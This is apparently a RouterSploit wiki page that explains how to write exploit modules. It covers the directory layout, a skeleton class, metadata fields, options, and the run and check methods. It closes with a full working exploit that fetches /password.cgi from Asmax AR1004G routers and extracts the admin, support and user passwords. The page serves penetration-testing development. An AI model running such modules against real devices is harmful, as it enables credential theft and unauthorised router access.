Skip to content

Exploits

Marcin Bury edited this page Sep 25, 2022 · 2 revisions

Exploits

Exploits modules are located under following path:

routersploit/modules/exploits

They are categorized by device type: routers, cameras, misc etc and then by vendor. Every subdirectory should contain empty __init__.py file.

Example directory tree

▾ routersploit/
  ▸ core/
  ▸ libs/
  ▾ modules/
    ▸ creds/
    ▸ encoders/
    ▾ exploits/
      ▸ cameras/
      ▸ generic/
      ▸ misc/
      ▾ routers/
        ▸ 2wire/
        ▸ 3com/
        ▾ asmax/
            __init__.py
            ar_1004g_password_disclosure.py
            ar_804_gu_rce.py
        ▸ asus/
        ▸ belkin/
        ▸ bhu/
(..)

Exploit skeleton

Example exploit skeleton that utilises HTTP communication.

from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
    __info__ = {
        "name": "Exploit Name",
        "description": "Short Description",
        "authors": (
             "Author",  # routesploit module
        ),
        "references": (
             "Address URL",
        ),
        "devices": (
            "Vulnerable targets",
        ),
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def run(self):
        """ Method executes on "exploit" or "run" command (both works the same way).

        It should result in exploiting target.

        :returns None:
        """

        pass

    @mute
    def check(self):
        """ Method that verifies if the target is vulnerable.

        :returns
         - True - if target is vulnerable
         - False - if target is not vulnerable
         - None - if it is not possible to verify if target is vulnerable
        """

        return True

Import core exploit classes and functions:

from routersploit.core.exploit import *

Based on what kind of protocol is being attacked by the exploit import specific BaseClass (in this case HTTP client):

from routersploit.core.http.http_client import HTTPClient

Exploit module in fact is a class named "Exploit" that inherits from one or more exploit modules (depennding on requirements). This way all interface commands are automatically supported and access to protocol level methods is provided.

class Exploit(HTTPClient):

Information about the module:

__info__ = {
    "name": "Exploit Name",
    "description": "Short Description",
    "authors": (
        "Author",  # routesploit module
    ),
    "references": (
        "Address URL",
    ),
    "devices": (
        "Vulnerable targets",
    ),
}

Variable __info__ contains all meta information about the exploit. They are displayed on show info command and used for descriptive purposes. In addition command show devices lists all devices specified in devices parameter.

Params

  • name - Displayed when the exploit is used
  • description - Exploit description in 1-2 sentences
  • authors - Tuple of authors - is nice to provide person responsible for vulnerability discovery and routersploit module author.
  • references - Tuple of links that are related to the vulnerability or exploit
  • devices - Tuple of targets vulnerable to the exploit

Options

target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")

Module should contain options taht can be set through interface with set command (e.g. set target 192.168.1.1). Variable are accessible by internal methods through self statement:

  • self.target
  • self.port

Run method

def run(self):
    """ Method executes on "exploit" or "run" command (both works the same way).

    It should result in exploiting target.

    :returns None:
    """

    pass

Exploit's run method is executed when run or exploit command is issued. This is the code where exploitation takes place but you can create additional methods used by the run method and access them through self statement - e.g. self.execute().

Check method

@mute
def check(self):
    """ Method that verifies if the target is vulnerable.

    :returns
    - True - if target is vulnerable
    - False - if target is not vulnerable
    - None - if it is not possible to verify if target is vulnerable
    """

    return True

Exploit's check method is responsible for verifying if target is vulnerable to particular exploit. It should not print anything on stdout nor stderr thus @mute decorator should be applied.

It should return values:

  • True - if target is vulnerable
  • False - if target is not vulnerable
  • None - if it was not possible to verify if target is vulnerable

Example exploit

import re
from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
    __info__ = {
        "name": "Asmax AR1004G Password Disclosure",
        "description": "Exploits Asmax AR1004G Password Disclosure vulnerability that allows to "
                       "fetch credentials for: Admin, Support and User accounts.",
        "authors": (
            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
        ),
        "references": (
            "https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt",
        ),
        "devices": (
            "Asmax AR 1004g",
        ),
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def run(self):
        creds = []

        print_status("Requesting {}".format(self.get_target_url()))
        response = self.http_request(
            method="GET",
            path="/password.cgi",
        )
        if response is None:
            print_error("Exploit failed - empty response")
            return

        tokens = [
            ("admin", r"pwdAdmin = '(.+?)'"),
            ("support", r"pwdSupport = '(.+?)'"),
            ("user", r"pwdUser = '(.+?)'")
        ]

        print_status("Trying to extract credentials")
        for token in tokens:
            res = re.findall(token[1], response.text)
            if res:
                creds.append((token[0], res[0]))

        if creds:
            print_success("Credentials found")
            print_table(("Login", "Password"), *creds)
        else:
            print_error("Exploit failed - credentials could not be found")

    @mute
    def check(self):
        response = self.http_request(
            method="GET",
            path="/password.cgi"
        )

        if response is None:
            return False  # target is not vulnerable

        if any(map(lambda x: x in response.text, ["pwdSupport", "pwdUser", "pwdAdmin"])):
            return True  # target vulnerable

        return False  # target not vulnerable
Clone this wiki locally